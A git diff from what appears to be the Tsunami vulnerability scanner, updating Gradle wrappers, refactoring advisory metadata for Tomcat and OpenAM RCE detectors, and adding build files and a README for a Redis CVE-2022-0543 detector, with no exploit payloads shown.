a/community/detectors/rce/apache_tomcat_cve_2017_12617/gradle/wrapper/gradle-wrapper.jar b/community/detectors/rce/apache_tomcat_cve_2017_12617/gradle/wrapper/gradle-wrapper.jar index afba10928..1b33c55ba 100644 Binary files a/community/detectors/rce/apache_tomcat_cve_2017_12617/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/rce/apache_tomcat_cve_2017_12617/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/rce/apache_tomcat_cve_2017_12617/gradle/wrapper/gradle-wrapper.properties b/community/detectors/rce/apache_tomcat_cve_2017_12617/gradle/wrapper/gradle-wrapper.properties index cbe718b00..ca025c83a 100644 --- a/community/detectors/rce/apache_tomcat_cve_2017_12617/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/rce/apache_tomcat_cve_2017_12617/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,7 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 +validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME zipStorePath=wrapper/dists diff --git a/community/detectors/rce/apache_tomcat_cve_2017_12617/gradlew b/community/detectors/rce/apache_tomcat_cve_2017_12617/gradlew index 65dcd68d6..23d15a936 100755 --- a/community/detectors/rce/apache_tomcat_cve_2017_12617/gradlew +++ b/community/detectors/rce/apache_tomcat_cve_2017_12617/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -83,10 +85,8 @@ done # This is normally unused # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} -APP_HOME=$( cd "${APP_HOME:-./}" && pwd -P ) || exit - -# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. -DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -114,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -133,10 +133,13 @@ location of your Java installation." fi else JAVACMD=java - which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. Please set the JAVA_HOME variable in your environment to match the location of your Java installation." + fi fi # Increase the maximum file descriptors if we can. @@ -144,7 +147,7 @@ if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then case $MAX_FD in #( max*) # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. - # shellcheck disable=SC3045 + # shellcheck disable=SC2039,SC3045 MAX_FD=$( ulimit -H -n ) || warn "Could not query maximum file descriptor limit" esac @@ -152,7 +155,7 @@ if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then '' | soft) :;; #( *) # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. - # shellcheck disable=SC3045 + # shellcheck disable=SC2039,SC3045 ulimit -n "$MAX_FD" || warn "Could not set maximum file descriptor limit to $MAX_FD" esac @@ -197,16 +200,20 @@ if "$cygwin" || "$msys" ; then done fi -# Collect all arguments for the java command; -# * $DEFAULT_JVM_OPTS, $JAVA_OPTS, and $GRADLE_OPTS can contain fragments of -# shell script including quotes and variable substitutions, so put them in -# double quotes to make sure that they get re-expanded; and -# * put everything else in single quotes, so that it's not re-expanded. + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/rce/apache_tomcat_cve_2017_12617/gradlew.bat b/community/detectors/rce/apache_tomcat_cve_2017_12617/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/rce/apache_tomcat_cve_2017_12617/gradlew.bat +++ b/community/detectors/rce/apache_tomcat_cve_2017_12617/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/rce/apache_tomcat_cve_2017_12617/src/main/java/com/google/tsunami/plugins/detectors/rce/cve201712617/Cve201712617Detector.java b/community/detectors/rce/apache_tomcat_cve_2017_12617/src/main/java/com/google/tsunami/plugins/detectors/rce/cve201712617/Cve201712617Detector.java index 34b37206e..a5122174e 100644 --- a/community/detectors/rce/apache_tomcat_cve_2017_12617/src/main/java/com/google/tsunami/plugins/detectors/rce/cve201712617/Cve201712617Detector.java +++ b/community/detectors/rce/apache_tomcat_cve_2017_12617/src/main/java/com/google/tsunami/plugins/detectors/rce/cve201712617/Cve201712617Detector.java @@ -97,6 +97,23 @@ public final class Cve201712617Detector implements VulnDetector { this.payloadGenerator = checkNotNull(payloadGenerator); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue(VULNERABILITY_REPORT_ID)) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2017-12617")) + .setSeverity(Severity.CRITICAL) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(VULN_DESCRIPTION) + .setRecommendation(RECOMMENDATION) + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -190,16 +207,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher(VULNERABILITY_REPORT_PUBLISHER) - .setValue(VULNERABILITY_REPORT_ID)) - .setSeverity(Severity.CRITICAL) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULN_DESCRIPTION) - .setRecommendation(RECOMMENDATION)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/rce/apache_tomcat_cve_2017_12617/src/test/java/com/google/tsunami/plugins/detectors/rce/cve201712617/Cve201712617DetectorTest.java b/community/detectors/rce/apache_tomcat_cve_2017_12617/src/test/java/com/google/tsunami/plugins/detectors/rce/cve201712617/Cve201712617DetectorTest.java index 428a797bb..58ca8c84e 100644 --- a/community/detectors/rce/apache_tomcat_cve_2017_12617/src/test/java/com/google/tsunami/plugins/detectors/rce/cve201712617/Cve201712617DetectorTest.java +++ b/community/detectors/rce/apache_tomcat_cve_2017_12617/src/test/java/com/google/tsunami/plugins/detectors/rce/cve201712617/Cve201712617DetectorTest.java @@ -18,11 +18,6 @@ import static com.google.common.truth.Truth.assertThat; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static com.google.tsunami.plugins.detectors.rce.cve201712617.Cve201712617Detector.RECOMMENDATION; -import static com.google.tsunami.plugins.detectors.rce.cve201712617.Cve201712617Detector.VULNERABILITY_REPORT_ID; -import static com.google.tsunami.plugins.detectors.rce.cve201712617.Cve201712617Detector.VULNERABILITY_REPORT_PUBLISHER; -import static com.google.tsunami.plugins.detectors.rce.cve201712617.Cve201712617Detector.VULNERABILITY_REPORT_TITLE; -import static com.google.tsunami.plugins.detectors.rce.cve201712617.Cve201712617Detector.VULN_DESCRIPTION; import com.google.common.collect.ImmutableList; import com.google.inject.Guice; @@ -36,11 +31,8 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.security.SecureRandom; import java.time.Instant; @@ -121,16 +113,7 @@ public void detect_whenVulnerable_reportsVulnerability() { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher(VULNERABILITY_REPORT_PUBLISHER) - .setValue(VULNERABILITY_REPORT_ID)) - .setSeverity(Severity.CRITICAL) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULN_DESCRIPTION) - .setRecommendation(RECOMMENDATION)) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/community/detectors/rce/cve202135464/gradle/wrapper/gradle-wrapper.jar b/community/detectors/rce/cve202135464/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/rce/cve202135464/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/rce/cve202135464/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/rce/cve202135464/gradle/wrapper/gradle-wrapper.properties b/community/detectors/rce/cve202135464/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/rce/cve202135464/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/rce/cve202135464/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/rce/cve202135464/gradlew b/community/detectors/rce/cve202135464/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/rce/cve202135464/gradlew +++ b/community/detectors/rce/cve202135464/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/rce/cve202135464/gradlew.bat b/community/detectors/rce/cve202135464/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/rce/cve202135464/gradlew.bat +++ b/community/detectors/rce/cve202135464/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/rce/cve202135464/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202135464/Cve202135464Detector.java b/community/detectors/rce/cve202135464/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202135464/Cve202135464Detector.java index 7a06d32ef..c77a2f884 100644 --- a/community/detectors/rce/cve202135464/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202135464/Cve202135464Detector.java +++ b/community/detectors/rce/cve202135464/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202135464/Cve202135464Detector.java @@ -45,7 +45,6 @@ import com.google.tsunami.proto.Vulnerability; import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; -import java.nio.charset.StandardCharsets; import java.time.Clock; import java.time.Instant; import javax.inject.Inject; @@ -87,6 +86,35 @@ public final class Cve202135464Detector implements VulnDetector { } } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2021_35464")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2021-35464")) + .setSeverity(Severity.CRITICAL) + .setTitle("Pre-auth RCE in OpenAM 14.6.3/ForgeRock AM 7.0 (CVE-2021-35464)") + .setDescription( + "OpenAM server before 14.6.3 and ForgeRock AM server before 7.0 have" + + "a Java deserialization vulnerability in the jato.pageSession" + + "parameter on multiple pages. The exploitation does not require" + + "authentication, and remote code execution can be triggered by" + + "sending a single crafted /ccversion/* request to the server." + + "The vulnerability exists due to the usage of Sun ONE Application" + + "Framework (JATO) found in versions of Java 8 or earlier. The issue" + + "was fixed in commit a267913b97002228c2df45f849151e9c373bc47f from" + + "OpenIdentityPlatform/OpenAM:master.") + .setRecommendation( + "Block access to the ccversion endpoint using a reverse proxy or" + + "other method like disabling VersionServlet mapping in web.xml." + + "Update OpenAM to version 14.6.4 and ForgeRockAM to version 7.1") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -148,28 +176,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2021_35464")) - .setSeverity(Severity.CRITICAL) - .setTitle("Pre-auth RCE in OpenAM 14.6.3/ForgeRock AM 7.0 (CVE-2021-35464)") - .setDescription( - "OpenAM server before 14.6.3 and ForgeRock AM server before 7.0 have" - + "a Java deserialization vulnerability in the jato.pageSession" - + "parameter on multiple pages. The exploitation does not require" - + "authentication, and remote code execution can be triggered by" - + "sending a single crafted /ccversion/* request to the server." - + "The vulnerability exists due to the usage of Sun ONE Application" - + "Framework (JATO) found in versions of Java 8 or earlier. The issue" - + "was fixed in commit a267913b97002228c2df45f849151e9c373bc47f from" - + "OpenIdentityPlatform/OpenAM:master.") - .setRecommendation( - "Block access to the ccversion endpoint using a reverse proxy or" - + "other method like disabling VersionServlet mapping in web.xml." - + "Update OpenAM to version 14.6.4 and ForgeRockAM to version 7.1")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/rce/cve202135464/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202135464/Cve202135464DetectorTest.java b/community/detectors/rce/cve202135464/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202135464/Cve202135464DetectorTest.java index f714323d2..29d23d621 100644 --- a/community/detectors/rce/cve202135464/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202135464/Cve202135464DetectorTest.java +++ b/community/detectors/rce/cve202135464/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202135464/Cve202135464DetectorTest.java @@ -197,6 +197,10 @@ private DetectionReport getExpectedDetectionReport( VulnerabilityId.newBuilder() .setPublisher("TSUNAMI_COMMUNITY") .setValue("CVE_2021_35464")) + .addRelatedId( + VulnerabilityId.newBuilder() + .setPublisher("CVE") + .setValue("CVE-2021-35464")) .setSeverity(Severity.CRITICAL) .setTitle("Pre-auth RCE in OpenAM 14.6.3/ForgeRock AM 7.0 (CVE-2021-35464)") .setDescription( diff --git a/community/detectors/redis_cve_2022_0543/README.md b/community/detectors/redis_cve_2022_0543/README.md new file mode 100644 index 000000000..9ebf17c67 --- /dev/null +++ b/community/detectors/redis_cve_2022_0543/README.md @@ -0,0 +1,29 @@ +# Redis CVE-2022-0543 Vulnerability Detector + +Redis is an open source (BSD licensed), in-memory data structure store, used as +a database, cache, and message broker. + +Reginaldo Silva discovered that due to a packaging issue on Debian/Ubuntu, a +remote attacker with the ability to execute arbitrary Lua scripts could possibly +escape the Lua sandbox and execute arbitrary code on the host. + +References: + +- +- + +This detector connects to a remote Redis server using the +[Jedis](https://github.com/redis/jedis) library and sends the payload specified +in https://github.com/vulhub/vulhub/tree/master/redis/CVE-2022-0543. It also +utilizes Tsunami's payload generation framework to generated the Linux shell +command. + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/google/detectors/rce/cve20246387/build.gradle b/community/detectors/redis_cve_2022_0543/build.gradle similarity index 94% rename from google/detectors/rce/cve20246387/build.gradle rename to community/detectors/redis_cve_2022_0543/build.gradle index 77eb52882..1b6da62de 100644 --- a/google/detectors/rce/cve20246387/build.gradle +++ b/community/detectors/redis_cve_2022_0543/build.gradle @@ -2,7 +2,7 @@ plugins { id 'java-library' } -description = 'Tsunami OpenSSH CVE-2024-6387 RCE detector.' +description = 'Tsunami VulnDetector plugin for Redis CVE-2022-0543 vulnerability.' group = 'com.google.tsunami' version = '0.0.1-SNAPSHOT' @@ -49,7 +49,7 @@ ext { tsunamiVersion = 'latest.release' junitVersion = '4.13' mockitoVersion = '2.28.2' - truthVersion = '1.0.1' + truthVersion = '1.4.0' } dependencies { diff --git a/community/detectors/redis_cve_2022_0543/gradle/wrapper/gradle-wrapper.jar b/community/detectors/redis_cve_2022_0543/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 000000000..1b33c55ba Binary files /dev/null and b/community/detectors/redis_cve_2022_0543/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/exposedui/nodered/gradle/wrapper/gradle-wrapper.properties b/community/detectors/redis_cve_2022_0543/gradle/wrapper/gradle-wrapper.properties similarity index 94% rename from google/detectors/exposedui/nodered/gradle/wrapper/gradle-wrapper.properties rename to community/detectors/redis_cve_2022_0543/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/exposedui/nodered/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/redis_cve_2022_0543/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/mlflow_cve_2023_6977/gradlew b/community/detectors/redis_cve_2022_0543/gradlew similarity index 94% rename from community/detectors/mlflow_cve_2023_6977/gradlew rename to community/detectors/redis_cve_2022_0543/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/mlflow_cve_2023_6977/gradlew +++ b/community/detectors/redis_cve_2022_0543/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/ai/cve20236018/gradlew.bat b/community/detectors/redis_cve_2022_0543/gradlew.bat similarity index 87% rename from google/detectors/rce/ai/cve20236018/gradlew.bat rename to community/detectors/redis_cve_2022_0543/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/ai/cve20236018/gradlew.bat +++ b/community/detectors/redis_cve_2022_0543/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/redis_cve_2022_0543/settings.gradle b/community/detectors/redis_cve_2022_0543/settings.gradle new file mode 100644 index 000000000..29c82e738 --- /dev/null +++ b/community/detectors/redis_cve_2022_0543/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'redis_cve_2022_0543' diff --git a/community/detectors/redis_cve_2022_0543/src/main/java/com/google/tsunami/plugins/detectors/cves/Cve20220543Detector.java 